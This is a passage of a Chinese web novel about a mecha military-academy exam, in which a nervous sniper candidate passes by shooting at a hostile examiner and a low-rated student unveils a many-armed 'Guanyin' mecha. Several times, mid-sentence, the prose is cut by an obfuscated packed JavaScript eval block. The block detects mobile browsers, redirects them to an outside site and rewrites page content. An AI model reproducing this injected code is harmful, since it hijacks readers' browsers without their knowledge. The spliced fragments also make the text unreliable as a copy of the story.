“没有。” 地上横着一根断指。他垂下的右手，只有五根手指。 4. 狙击手-击杀型 士阳的第一反应和许多考生一样，是：这怎么可能？ 影刀靠速度破坏，可无法走路的人，哪来的速度？事到如今，再不愿意相信也只有一种解释——影刀瞬间适应了新的关节结构，并重回巅峰时的速度。 就好像右撇子失去右手后，在一秒内掌握了左手写字的方法。 多么恐怖的天赋。 士阳的第二反应则更加震惊，“你怎么知道的？！” 鸣星：“那时候，影刀闭上了眼睛。” “这我知道，他隐匿了。但然后呢？”士阳急切地问：“你怎么知道他还可以移动？你怎么知道，他会成功切掉六指的手指？” 鸣星似乎被问住了，斟酌着字句，慢慢说道：“当时，影刀正看向六指石人的第六根手指。” 士阳懵了，“机甲，怎么‘看’？” “感觉。我感觉他正在看。”鸣星说，“他暗中观察，紧盯着六指的手指，非常坚定，让我觉得他一定能成功……你明白我的意思吗？” “我不明白。”士阳用力摇头。 别人总是不理解她的话。鸣星早就习惯了，并未失望，也没有继续解释的欲望，只是笑笑。 但士阳太想知道答案，她没觉得鸣星在糊弄她，而是认真思考鸣星的话，“你是想说，影刀关闭视窗隐藏自己，然后用检测仪器获取信息吗？” “……啊，对，就是这样，我知道了。”鸣星豁然开朗：“影刀的特长是隐蔽，又在关节里准备黑烟，这是个备案，说明他其实有关节破坏后的行动能力。而所有人都觉得他必输无疑的时候，反击会有最好的效果。” 士阳喃喃道：“……逻辑上，是可以说得通。” 真相实在过于朴素了。士阳一阵失落，更多的还是对自己无能的怨念。 她以为鸣星有什么高级方法，原来也只是推理。如果事后给她时间复盘，她也可以想的出来，但那又有什么意义？只有在战场上第一时间想明白，才能识破敌人的战术，成为胜者…… 士阳失魂落魄地垂下头。 遥不可及的距离能够指引方向，但看似触手可及，却永远追不上的那一点差距，才真正让人绝望。 望山跑死马。 山就在眼前，却永远走不到它脚下。 士阳苦笑了下，没再关注能人辈出的一考场，而落寞地看向信息栏。 再过一位就轮到她候场了，而她现在的心态差到了极点。 “士阳，不舒服吗？你的脸色好苍白。”鸣星关切地问。 士阳惨淡地笑了笑，避开了这个话题：“鸣星，你说你的机甲比影刀还帅，那是什么呢？能打败影刀吗？” 鸣星看她笑，也跟着笑，心情很好的样子。士阳感觉得到，刚才她认真理解了鸣星的话，这让鸣星更喜欢和她交流了。 “容我保密一下，一会你就知道了。而且，我只是说比他帅，没说比他强。我的机甲没有攻击能力。” “那防御呢？” “更没有了。” “速度呢？” “和影刀不相上下。” 士阳看向鸣星的背包，她难以想象这里能有什么东西拥有影刀的机动性，不过倒是可以想象那个东西没有攻击，没有防御。 她忽然郑重地说：“鸣星，你要不要去开龙羿的标准机？现在提出申请还来得及。” “为什么？” “虽然你是F评级，但我总觉得你和一考场那些人差不多。你用半机甲是绝对不会通过的，他们会觉得你只是来玩。但你有这个实力，不该被埋没……” 士阳说着，身体越发紧绷，额头冷汗直冒，“你很厉害。不像我，我……” “你也很厉害。” “我不行的。”士阳的骨气撑着她没流出一滴泪，只是控制不住地抖，“他们太厉害了，我甚至连动作都看不清，也完全猜不到战术。我一旦开始紧张，就全完了……” 交浅言深是大忌。后面的话，不该说的。 士阳明知如此，但倾诉情绪的口子开了就没法回去。 实力被碾压的恐惧是一把达摩克利斯之剑，悬在她的心脏上，会在她上场时击溃她的内心。今天的考试已经完了，所以，也没什么不能说的，反正以后也不会再有机会见到鸣星，见到这些机师的佼佼者。 反正，她的人生也就这样了。 她给鸣星看自己的手，“我的手，很抖，停不下来。” 鸣星盯着她颤抖的手，握了上去：“你要做什么展示？” “狙击手，击靶，精准控制。”说到这，士阳更绝望了，艰难地说道：“是一个标准型号。” 没有设计上的创新，也只是单一维度的展示。她只有把精准控制展现到极致才有可能通过，而她现在手抖的甚至不能回握鸣星的手。 鸣星重重捏住她的指尖，认真地说：“士阳，你的手是很稳的。你第一次跟我握手的时候，后面两次给我递纸的时候，我都有感受到。” “我知道，我状态最好的时候成绩还可以，但我现在没法平复心情……” “士阳，我告诉你我的秘诀。” 鸣星的语气很平淡，好像只是在闲聊些无关紧要的事情，士阳却精神一震，眼里短暂地恢复了些光亮。 鸣星说道：“我知道他们的战术、看得到他们动作的秘诀，就是想象。” “想……象？” “想象我就站在展台上，我也在黑雾之中。想象那个时候，我是影刀，我是六指。” 这是一个很普通的回答，绝对算不上秘诀。士阳却认真地思考着。 “所以，我要想象我在战场上，射击敌人吗？” “不。” “想象下面的考官都是白菜吗？” “也不是。这样刻意的想象不是让考官的存在感更强了么，真能让你不紧张吗？” “一直都不能……我每次想象考官是白菜，都觉得他们是长了眼睛的恐怖白菜，更紧张了。上次考试我也是这么失败的，我输给了那些一直霸凌我的人，我接受不了……然后我就转学了……” 士阳紧紧地压着腹部，弯下腰去，“我的胃好疼……我，我想吐，我要去医院……” “士阳，士阳。你看着我，不要管考官，也不要回忆过去了。”鸣星将她的另一只手也握起来。 士阳睁开被汗水模糊的眼，看到鸣星正坚定地看着她。 “想象你是一颗子弹。”鸣星说：“你是你射出的，那颗子弹。” “——考生士阳，请在等候区准备。” 士阳浑身一颤。 “加油，”鸣星朝她微笑，拍了拍她的手背，“加油，子弹。你会到达你想去的那个地方。” 士阳本来紧张得想吐，但被叫了“子弹”，又有点想笑，哭笑不得的心情在一瞬间盖过了焦虑，让她有一个机会，可以深深地，呼吸到肺的最深处。 她对鸣星用力地点了点头。 然后，决绝地转过身去，大步迈向等候区。 狙击手-击杀型2号，非常普通的小型远程进攻机甲，只有2米高，一把配枪，用于精准击杀唯一目标。 士阳开着这个机甲走上展台时，清楚地看到英弦的脸色更差了。 英弦，是一个喜不形于色，怒一定加倍形于色的压力怪。 年轻时他还有一张清秀而明媚的脸，也不知后来经历了什么，那张脸越来越阴沉，眉间出现一道深深的悬针纹，像一只天眼，大家都知道，那是因为他总是在生气。 当他双手抱肩，阴着脸坐在考官席时，似乎看整个世界都不爽，当然，对于这些他看不起的三考场考生们，就是格外的不爽。他可能过得并不好，垂到腰的黑色长发有些毛躁，绿色瞳孔比常人更小，像是常年流浪，处于警觉状态的黑猫，别人稍稍逗弄他一下，他就要恼怒地疯狂攻击。 英弦没有问问题，其他考官也没有。普通的标准型号实在没什么亮点可言，士阳能做的唯一一件事，也就是把子弹打得更精准一些了。 精准到超出常人的水平。 测试区25米远，水平延伸的长条靶子上有精细的刻度，还有横条靶环。 士阳选择了固定模式。 “啧。” 她从收音装置里听到了英弦的咋舌声。她知道，她在他心中的印象分又下降了一些。 选移动靶会更好，但她现在没有信心发挥到最佳状态，如果失误，就彻底完了。 士阳深呼吸，将枪口对准了靶子的最左方。 砰。 中间偏上，第九条横线，九环。 作为平时练习，不好不坏，作为考试，差的离谱。 滴——一位考官按了不通过。 士阳心里一突，但没有看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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间隔3厘米，第九横线，五颗子弹。 间隔1厘米，第九横线，五颗子弹。 她只打中了九环，但是，她一直在打九环。 接下来，间隔9毫米，第九横线…… 砰。 子弹落在了第十条横线上，十环的位置。 失误。 滴—— 第二个考官按了不通过。 士阳感到被勒住咽喉的窒息。她知道自己为什么失误，就在她成功打到1厘米之后，她分心了。 或者说，她变回人了。 那时的她想的不是接下来作为子弹要去的地方，而是作为一名考生，她终于提高了自己的竞争力。 她清楚地知道，需要把间隔打在1厘米以内，保持横向水平，才可以被考官认可。这达不到顶尖水平，但也几乎是中学学生的上限了。 她不是个天才，她只是个普通人。从转学之后，她用了整整一年的时间，没日没夜地做着间隔打靶练习，才有这样的水平。 可是，她不该是普通人的。 她该是一颗普通子弹。 在鸣星对她说了那句话之后，士阳就像失了魂一样，脑子里再也没有出现过别的内容。当这句话再次出现时，她几乎是条件反射一般，将其他的想法也都压了下去。 除了“是子弹”之外，她的大脑一片空白。 她此刻冷静的可怕，听不到自己的心跳与呼吸声，看不到准星以外的所有事物。 可是，生物的本能又让她在不通过的按键声响起后抬起头，看向考官席的方向。 你是一颗子弹，你会到达你想去的那个地方。 她想去的地方，在哪里呢？ “可惜，还以为是个好苗子。”英弦冰冷冷地说。 她听到了这句话，看到了英弦的手向着红色按钮伸去。 她的潜意识帮助她处理了这句话，告诉她“不可以让他按下那个按钮”，而表意识并没有反应，以至于那时候，她没有愤怒，没有惶恐，没有理解到英弦按下按钮时，就是她的“死期”。 她只在想一件事。 她是一颗子弹，她要到达的地方，就在那里。 那时，时间变得很慢，慢到她可以慢条斯理地调整自己的位置，对准她要去的方向—— 她瞄准了英弦的手，并毫不犹豫地扣动了扳机。 5. 背包里的机甲 人们都知道一考场会有轰动的考生和展示，比如影刀，比如影刀和六指的对决。但没人想到，第一个震惊所有人的绝活来自三考场。 子弹唰地飞过去时，就连导播都没来得及切镜头跟随，只有一直对着考官席的镜头记录下了那一幕——子弹顺着英弦右手的边缘擦过，就在他的指尖触及红色按钮，但还没有按下去的那个瞬间。 子弹击中了他的长发，穿透椅背，嵌入背后的白墙，随着一声巨响，椅背裂开的碎块和英弦的一大搓头发都向前飘了起来，掉落在地。 失误了吗？士阳想，不，是目的地躲闪了。 作为一颗子弹，她看的很清楚。就在那分毫之间，英弦的手极快地移动了三厘米，使得她的子弹未能击穿他的手掌。 这个举动足以判她故意伤害的罪名，如果英弦想追究，甚至可以把她送上法庭。 在这一秒之后，士阳的人生才真正完蛋。 所有的考生都是这样想的，只有一个人没有这样想。 那就是士阳自己。 台下震惊的呼喊声此起彼伏，她却像没听到一样，冷静地将把枪口转回了靶子的方向，此刻，她没有任何情绪，只想把剩下的子弹打到靶子里。 在9毫米旁，第九条横线。 砰、砰、砰、砰、砰。 连续五击、换弹。 工作人员开着机甲冲上场，英弦向他们抬起险些受伤的右手，意思是，暂停行动。 他直勾勾盯着士阳的枪口，常年下压的嘴角居然微微勾起。 砰、砰、砰。 士阳仍在不停地开枪。 连续十击、换弹。 连续十击、换弹。 她不知道自己打了多少枪，她没有数，因为架在枪口的子弹不会知道弹夹里还有多少子弹。直到准星再次向右9毫米，超出了靶子的右边时，她才停了下来。 这一排都打完了。 计分器迅速计算出她的成绩：横向距离平均误差1.3毫米、纵向距离平均误差0.8毫米，总共用时2分32秒，总计子弹40发，最后二十发保持在0.8毫米间距，平均误差0.9毫米，综合成绩93分。 算不上顶尖，但足够摸到龙羿的门槛。 台下的声音渐渐减小，士阳忽然反应过来自己做了什么，她双腿一软，带着机甲一起跌坐在地。 在战场或者考场，站不稳而倒地是严重的失误。 至此，她的所作所为就有了定论。没人知道她为何对考官开枪，但所有人都知道，她的心理素质，不行。 英弦迅速抬起手，用力按下了按钮。 绿色的那个。 士阳倒地时，眼前一片花白，耳鸣响到她听不到场上任何的声音，她感觉不到自己的手脚，因为已经凉到麻木，只有在攥拳时才发现汗水多得像泪一样，几乎倾盆而下。 她的理智回来了，她意识到了自己刚刚做了什么—— 向考官射击。 足足过了十秒，她的视觉才恢复正常。她和她的机甲慢慢抬起头，先看到鸣星在候场区里跳着对她笑，然后看到两个红色，一个绿色的灯。 剩下两个考官没有表态，但她的考核已经结束，也就是说…… 她通过了。 她通过了！ 她的听觉也开始恢复，听到了场下躁动的声音。考生在交头接耳地讨论，所有人的目光都牢牢锁定在她和英弦身上，本来全部对准一考场的媒体们齐刷刷转动了镜头，对着她拍个不停。 她怕是要上新闻了，说不定还是头条。 士阳没法判断这个情况是好是坏，不过她心里隐隐有个想法，不论发生什么，如果她和鸣星一起，或许，她可以到达那个地方…… 那座高大的，遥远的，曾以为自己永远无法触及的山。 “三考场居然有考生通过了！这届学生质量真不错，一考场的水平都比往届高，三考场还有黑马……” 媒体讨论的声音十分热烈，三考场出黑马是小事，但射击考官是大事，这新闻发出去绝对热度爆炸。 士阳踉踉跄跄跑下台，看到百个镜头追着自己拍。她知道这些媒体要做报道，应该会多拍几分钟。但…… “下一位，鸣星。” 她惊慌而狼狈的样子被拍到也就算了，可他们一直把镜头对准三考场，岂不是把鸣星也录进去了？ 士阳心里一突。 鸣星是理论型爱好者，如果不好的表现被拍下来发到网上，少不了被群嘲，更别说那种想什么说什么的性格，一会儿不会在台上说出什么不得了的话吧…… 再怎么样也不会超出射击考官的震撼程度了。士阳苦笑，就当她报答鸣星的点拨之情吧。 鸣星轻快地跑上台，丝毫没有紧张的样子。 所有考生都在上展台前穿好了机甲，不至于丢一个准备不充分的印象分。但她还和台下一个样，背后一个包，身上穿着休闲衣服，像个乱入考场的场外人员。 英弦立刻皱起眉，但似乎是对她身后那巨大的背包还有些在意，没有立刻不通过，而是问：“你为什么没穿机甲服？” 士阳松了口气，还好英弦没有说“态度”之类的话，不然鸣星怕不是要在这么多镜头下怼回去…… 鸣星露出一个明媚的笑。 “因为我不需要。” 滴滴—— 这发言实在过于狂妄，两名考官同时按下了不通过。 英弦则愣了愣，表情十分微妙，最后停在一个嘲弄的冷笑上：“可笑。” 他正要按不通过，却见鸣星歪了歪头，问道：“英老师，你五年前发的论文说机甲服对同步率有影响，现在想法变了，怎么不再发篇论文说一下？” 这话一出，本来准备把镜头转开的媒体们精神一振，又马不停蹄地拍了起来——原以为士阳就是巅峰了，没想到还有高手！ 别看英弦现在坐在三考场的席位上，肩上却也是五星一花，和律尔一个等级的副极少将。 当年他在银龙班的教授中颇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497775|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具话语权，在机甲业界也狂傲的很，他不屑于研究所有人都觉得好的东西，而经常做一些反主流的研究，这其中，拒绝机甲服就是经典反调。 机甲服是必须的保险，它能协助启动，使人不会信息过载，还能在出问题时有序地切断连接，保护机师和机甲。 代价就是，连接的同步率会受损。 英弦的理论是：所有不能靠自己保持稳定性的机师，都该被淘汰！人类必须争取那宝贵的几毫秒，才能和自身就堪比机甲的星兽战斗。 此言论一发出，争议炸开了锅。保持稳定性何其之难？就连把机械臂用的像自己的手一样的先天残疾，都会有控制不住的时候，更别说普通的机师了。 于是，英弦要亲自证明他理论的正确。 在整整一年不穿机甲服的高强度训练后，他没穿机甲服上了战场。 然后差点被星兽撕成碎片。 据小道消息透露，他被一群没见过的新型星兽围攻了，一时信息过载，短暂的一秒慌神造成了连接混乱，机甲失控。随后，大脑和机甲全面崩溃，如果不是援军就在附近，命就交代在那了。 从此英弦元气大伤，再也没有提出什么新奇理论，在校职位也降低一级，只能去教那些他认为该被淘汰的普通班学生。 机甲服这事可谓是他心头最大的阴影，他没少冲那些嫌麻烦不穿的学生发火，谁也不敢在他面前提起机甲服的争议—— 英弦这人狂热地喜欢强者，且自尊很高。要是拿枪打他，他说不定夸一句打得真准，但要是问“你怎么穿机甲服了？”他能拿着重型回旋加速等离子炮追到天荒地老，不打成碎末不罢休。 不过这事只在八卦新闻里流传甚广，而八卦新闻并不在鸣星的必读书单里。她并非故意挑衅，作为只能读论文了解教授们的普通学生，是真的疑惑。 老师，你的想法变了，不发个新文章通知我们一下吗？ 英弦脸色阴得可怕，他的手从按钮上方收回来，凶狠的眼神钩子一样打在鸣星身上，低沉的声音如同冰渣，字字狠恶。 “展示你的机甲。” 士阳心惊胆战。她听过英弦有多可怕，心态再好的人也承受不住他狂风暴雨的输出，多的是开朗的学生被他训抑郁，鸣星也不见得能例外。 他肯定会给不通过。而且，一定是先全方位贬低，用天衣无缝的理论批判她，再叫她展示，再批评，再展示，直到批得体无完肤，把她的尊严全部打碎，最后再说那套弱肉强食的经典话术： 连批评都承受不住的人，别来开机甲。 “英老师，你……” “展、示、你、的、机、甲。” 英弦一字一顿地说。 他的耐心快要燃烧殆尽，他已经迫不及待，想要摧毁这个不知好歹的差生的心灵了。 鸣星还不知道自己即将面临什么，她还在笑，甚至语气欢快：“嗯，好呀。” 她戴着黑色手套的手拍了拍身后的背包，说道：“我的机甲，就在这里。” 6. 千手观音 一个背包就能装得下的机甲，不过是半机甲而已，什么水平不必多说。 鸣星这话一出，本来还以为她是什么高手的考生们也都转变了心态，原本的好奇与期待，全变成了看笑话的轻蔑——一个半机甲，也敢挑衅以严苛著称的英弦？ “呵。” 英弦冷笑的声音很大，但他没有直接开骂。 鸣星可真是开了个好头，让他全身上下的热血都沸腾起来了，他已经看透了这是个什么货色的学生，这些堪称前戏的铺垫，只会让之后的羞辱变得更加酣畅淋漓。 大屏幕上呈现了鸣星的简历。三个考场外加所有媒体都在关注这边，如此多双眼睛的注视下，什么细节都逃不过。 这一看，可是比看到影刀折了关节还能跑更加震撼。 九十三星、不知名学校、挂掉的基础课。 底层工作实习、无奖项、无比赛。 最高的一门是个水课，创意写作。 这里离谱的天才有很多，但离谱的差生仅此一个。她苍白的履历，F评级，就这样赤裸裸地展露出来，被所有人审视。 士阳比自己上场时还难受，额头直冒冷汗。台上的鸣星明明也看到了一切，表情却没有任何波澜，用着讲故事的口吻，徐徐诉说她的创作理念。 “我要展示的是我自己设计并创作的机甲，从概念、到材料收集、再到拼装、测试等等，都是我一个人独立完成的。那段时间我在看古地球的佛教书籍，佛不仅有着超出世俗的精神意志，还有很多有趣的神秘力量……” 佛教、古地球、机甲。三个词大家都听过，但凑到一起的，没有。 不是这个想法多么创新，而是，这无意义。 在全力发展的科技面前，早被人类抛弃的那段历史和宗教就像一个笑话。这些神话传说当个故事听听也就算了，真有人从这里找灵感？简直和那个疯子没差，而疯子的结果就是被关进了联邦总监狱，判刑一千余年…… 场上的气氛正在暗暗转变。 沉默，还是沉默。 嘲弄，还是嘲弄。 士阳感受到那种能将人压垮的压抑，以及无言的嘲讽。尤其是三考场，对鸣星出丑的期待已经快要溢出来了，所有人都是那种快要笑出来的、有些轻蔑的眼神。毕竟来一个人拉低下限，可以很好地抬高他们的印象分。 至于英弦，他早已血脉偾张，常年阴翳的脸如今涨得发红。 鸣星讲述的口吻有多么平静，他就有多么狂躁，而那狂躁全部被他紧紧压抑住，等到一个最合适的时机，火山就会喷发。 “我被深深地震撼了。所以，我以此为灵感，创作出了这款机甲。” 鸣星认真地说，说话时，甚至望着英弦的双眼。 没有情绪的黑色深渊，和紧促的祖母绿宝石，在对方的眼中看到了彼此。 英弦看到了那个愤怒的火山。鸣星看到了平静的她，以及她的背后—— 一千只机械手向所有方向唰地伸展而开。 气势汹涌，遮天蔽日。 那一瞬间，永远透亮的巨大龙蛋中似乎暗了一下，这当然是错觉，装在包里的机甲无论如何都不能延伸到几十米高。 可是，可是。 可是那手怎么能伸得那么高？那一个背包，怎么能装得下这么多、这么长的手臂？ 她本就站在高高的展台上，手臂则伸得更高，最中间的那几只以恰到好处的角度，紧凑地并拢，正好遮住了最亮的那枚星光，于是世界在一瞬间昏暗了。 那只是她设计的小把戏罢了，但效果惊人，只暗的那一秒，就足以造成强烈的冲击—— 连光都藏在她和她千手的身后。 巨目悬在她背后，作一轮磅礴的圆光，粼粼的蓝光从背后披散而来，顺着四十只手臂缓缓流下。她俯瞰着台下的众人，宛如睥睨众生，可那只是众生的错觉。每个台上的人都是如此看台下的人，她在他们眼中的神态，只不过是他们对刚刚自己作态的投射。 待所有的手臂都伸展开时，媒体最大的镜头带着强光打过去，她的样子终于清楚地展现出来。 指尖向上，如剑一般直指穹顶，指尖向前，如刀锋正对着英弦的脸。 也是这时，他们熬过了心理冲击的一震，才有心思细看她的模样。 仔细看去，她并没有一千只手，只是那么多数量的手臂在没有心理准备的情况下同时伸出，会让人有种无穷无尽的错觉。实际上，只有四十只机械臂，算上她自己的两只手，一共四十二只。 手臂用的是“脆象牙”，柔润的表面反射着莹莹的光泽，好像自己在发光。这种材质够轻薄够便宜，可以通过巧妙拼装组成复杂的结构，但它实在太脆，只在艺术领域被使用，从没有一个正常机师会把这东西用在机甲上。 也正是如此，鸣星才有可能把如此多的手臂装进一个背包。 可以想见，它们在背包中瓦片一样地重叠放置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497776|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当她发出指令，就会按照设计好的程序一只接一只往外伸，但伸出的速度需要快到四十个瞬间被压缩成一个瞬间，这意味着叠放的结构必须足够精巧。 而这仅仅是震撼的第一层。 手臂顶端，四十只金色的手同时动了起来。 二十六只手凑成一尊金光圆轮，悬在她身后，十六只手端在身前，像是护法。 那是“柔金”，同样便宜纤薄，但是柔软，可以造出画中才有的佛之手指——丰润，晶莹，弧线像水一样流畅，让人通体舒畅的美感。 它们仍有关节，于是可以控制，每一只手指都在移动，在下一瞬间，凑成了四十种手势，没有一种重复，好像在握着、托着、举着不重样的法器，而最前方的一只，属于她自己的手，向大家展开。 普通的黑手套中间，一只晶白的眼睛睁开了。 除她左手外，每一只手里都有一只眼睛。那是像玻璃珠的“晶瞳”，通电时只能发出随机频率，像收音机一样充满杂音，因此早就被机甲业淘汰。它唯一的用处就是动，移动—— 四十一只眼睛一起移动着，从每一个方向，看向它身前的那些人，晶莹剔透的“瞳”中，映照出了他们的样子： 台下的人、考官席的人。他们惊愕的脸、他们无法合上的嘴、他们因冲击而呆滞的神情。嘲讽的表情在整个考场上彻底消失了，取而代之的，是一种让他们自己浑身发麻的羞赧。 就连英弦也短暂地忘却了他的滔滔怒火，愣住了。 并不为机甲的战力，而只为她带给他们的，人类都能感到、都曾感到过的，最为原始的震撼。 ——她像是有生命。 多手的机甲，人们早已习惯，但多手的人类，会让人发自内心地恐惧、震颤、敬拜。 鸣星双手合十。 两手相贴时，右手的眼睛叮地一声脆响，其余的眼睛仿佛受到号召，全都嗡嗡地响了起来。晶瞳发出了杂乱的频率，又被强大的主导共振捕获，好似多个声部齐声吟唱。 那重重叠叠、来自佛之眼的嗡鸣声，从四面八方同时响起，与注视一起穿透人的心魂，这个迷幻而轻柔的仪式之中，人们不约而同想起了那个传说中的词语—— 超度。 他们正在被这声音和注视，超度着。 千万种复杂的情绪混杂在一起，难以言表，只有一句话能够精准地概括每个人都在想的那件事。 那一刻，她就是观音。 7. 砸场子 这只是一套花架子罢了！ 除了在舞台上表演，没有任何用处的，标准的半机甲！ 英弦的理智在摇旗呐喊，试图挽救他倒戈向这一无名之辈的精神。 他阅机无数，丰富的战场经验足让他对任何机甲，第一面就挑出一百个毛病，面前这座“千手观音”自然也不例外： 它太脆，简直就是瓷雕塑，它的劣质材料严重影响控制，它没有任何攻击、防御、特殊环境作业的作用…… 它根本称不上是一个真正的机甲。 …… 可是，那一瞬间的冲击挥之不去。 可是能驾驶这套花架子的机师，实力毋庸置疑。 先不说如何控制差材料，就只看那四十只手、两百只手指，这套机甲就算不算眼睛，也有至少560个点位！ 引发场上第一次惊叹的石人，只多两个点位，第二次惊叹的影刀，也不过40个。 鸣星对这个量级的操作已经到了炉火纯青的地步。四十只手同时移动，做不同的动作，能力堪比章鱼——而章鱼是靠让每根触手独立思考做到的，人类的手可没法思考。 很快，英弦找回了他的愤怒，却不止因为她对于他的挑衅，而在于她对于整个龙羿的挑衅。 她明、明、可、以、驾驶更厉害的机甲的。 她把龙羿当成什么了？舞台表演？出名跳板？她明知自己的能力足以被录取，却偏偏要用这玩具机甲哗众取宠！ 英弦的怒火烧得更烈了。 “展示性能。” 他冰冷的声音像石头坠入深海，没有回响，却惊得所有人侧目——到现在，还有这个必要吗？ 那可是脆象牙、柔金、晶瞳。是机师们碰都不想碰的，会被扔到垃圾星处理的劣质材料！ 她却开起来了。 鸣星甚至有资格参加一考场的考核，就算进入银龙班也并不违和。 遗憾的是，这样的机甲并没有什么“性能”可言。她的确证明了自己有实力嘲讽英弦，但她没实力像影刀和六指一样对战。 花架子研究到极致，也不过是花架子而已。就像神话传说讲得再天花乱坠、蛊惑人心，当科学出现的时候，神话造出的幻梦也就破碎了。 “嗯，好呀。”鸣星心情愉悦地应了一声，上前一步，前面的两只手竟然伸向了英弦。 考生和媒体都是一惊，她也要像士阳那样攻击考官吗？！ 如果真能打中英弦，说不定反而能得到他的认可，至少会赞许她的勇气。不过，士阳是真枪实弹，她是陶瓷手臂，攻击力根本没法比—— 叮叮。 柔金轻轻碰触金属桌面的声音。 众目睽睽之下，英弦像猫一样缩成竖条的瞳孔映照出了那只金色的柔软的手，它轻柔地捡起了桌上的一撮头发。 刚刚被士阳击落的那撮。 那两只手甚至比人手还要灵活，手指熟练地将头发分成五绺，织毛衣一样编起来，很快，一个小小的“头发围巾”织好了，中心镂空，像是一只竖瞳的眼睛。 这是英弦提出拒绝机甲服的理论之后，为了方便开机而设计的“机甲带”，只需要在开机时佩戴在头上，用来缓冲启动时那一波信息洪流，连接稳定后就可以摘下。 只有他一人支持这理论，所以世界上也只有这一条机甲带，其标志性的竖瞳眼睛代表着他自己——他的机械义眼可以像猫一样伸缩瞳孔，把目标看得更清晰。 那时候他还意气风发、桀骜不驯，觉得全天下自己最正确，且在世人眼中，他的确有着与傲气相匹配的实力。 鸣星将机甲带轻轻地放在不通过的红色按钮上。 她说，“英老师，我怀念你离经叛道的那时候。” 鸣星想要退回展台上，却觉得什么轻轻扯了她一下。 她回头看去，是英弦握住了她的机械手。 两人交握之处就悬在红色按钮上方半厘米处，紧贴着她编织出的头发机甲带。他们任意一个人只要微微一抖，鸣星的最终成绩就出来了。 士阳的心揪起来，她以为，英弦要捏碎鸣星的手。 对于英弦来说，这个操作实在太简单了。如果说鸣星的柔金手是瓷的话，英弦的轻机甲手套可以类比为铁。铁器在瓷器上轻轻一捏，就可以把瓷捏成碎片。 不过，英弦只是极轻地握着她的手，力度甚至有些小心翼翼，好像害怕将她碰碎了。 那严肃到快要凝固的表情证明着他正在做什么事，或许是仔细地感受鸣星的机甲，或许是通过机甲向鸣星传递着什么信息。 “英老师，我什么都感受不到。”鸣星说：“这是很差的材料，你知道的，我除了用它们编一个机甲带送给你以外，做不了别的事。” “……”英弦松开了手，面无表情，沉声说道：“展示性能。” “我都说了，我什么都……” “展示性能！” 英弦猛地拍了下桌子，力度之重，让这坚固的金属桌都颤了三颤。 其他考官眼神复杂地看向他，他们知道他愤怒的理由——那些缺点所有机师都看得出来，连鸣星自己都心知肚明，因此，面对这个漏洞百出的玩具机甲，英弦反而无话可说了。 他必须要她展示出更强大、更全面的实力，才可以真正意义上击垮她的灵魂。 “我没什么好展示的。这只是半机甲。” 鸣星说的就是心里所想。 来考试前，她就已经决定了要展示的东西：伸手、共振、编织一个小玩意来展示精细操作，别的没了。如果想要更多展示，就要提前准备好相应的模块，到考场上临时改变主意就晚了。 而且，她还有一个私心——万一展示更多，考试通过了怎么办？ 她不了解大星学生的真实水平，大概率很厉害，小概率不如她。但万一呢？万一她这点东西其实比很多人都厉害，她不就考上龙羿军校了吗？ 到时候，爸爸妈妈会担心的，学校要上好多无聊的课，她去普通班又碰不到黑蔷薇，网上还说这里排名压力大，如果真的通过，那一定是度日如年的四年。 更何况，学费很贵啊。她要是有这么多钱，拿来星际旅行、吃喝玩乐、认识自由的野生机师不好吗？为什么要把自己困在这颗压抑的龙蛋里，每天为了成绩和排名发愁呢。 这是鸣星从得到考试资格就开始深思熟虑，并在启程前郑重做出的决定： 不考龙羿军校。 来这里只是凑个热闹，见见银龙，最好在黑蔷薇眼前刷一下存在感，没准以后有机会当她的野生徒弟。有传言说，黑蔷薇有在校外开小号收徒。 鸣星认真地说：“英老师，你以为我很厉害吗？我只会操作这些手而已，别的我不会啦。” “我知道。”英弦咬牙切齿，“那就去开标准机甲。不展示性能，就展示你的操作能力！” 他伸手一指别名“章鱼号”的复杂机甲，几乎是压着怒意在低吼： “展示你的速度，攻击力、爆发力！展示同步率、材料理解、精细操控！展示战术！展示控制点、展示稳定性和信息处理能力！所有、全部、展示！” 鸣星心想，老师你在背教材吗？ 这不是把《机甲概论》目录念了一遍吗，英老师，你居然把这些东西背的滚瓜烂熟，真的越来越无聊了，当年创作“走马灯”机甲的你哪去了？ 当然，她不会这么说。她把针对英弦换成针对自己，谦虚地说道：“我开不了标准机啦，会睡着的。” 鸣星本意想说会晕过去的，又觉得有失形象，于是换了个委婉的比喻。 这话也不假，她没穿机甲服也没开过好机甲，很可能适应不了那些好材料，开机就晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话一出，所有考生恍然大悟——原来她是砸场子的！ 这就说得通了。这一定是狡猾而又朴素的商战……校战！如果这些新闻播出去，而鸣星又加入了别的军校，对于龙羿的声誉一定有很大的影响。 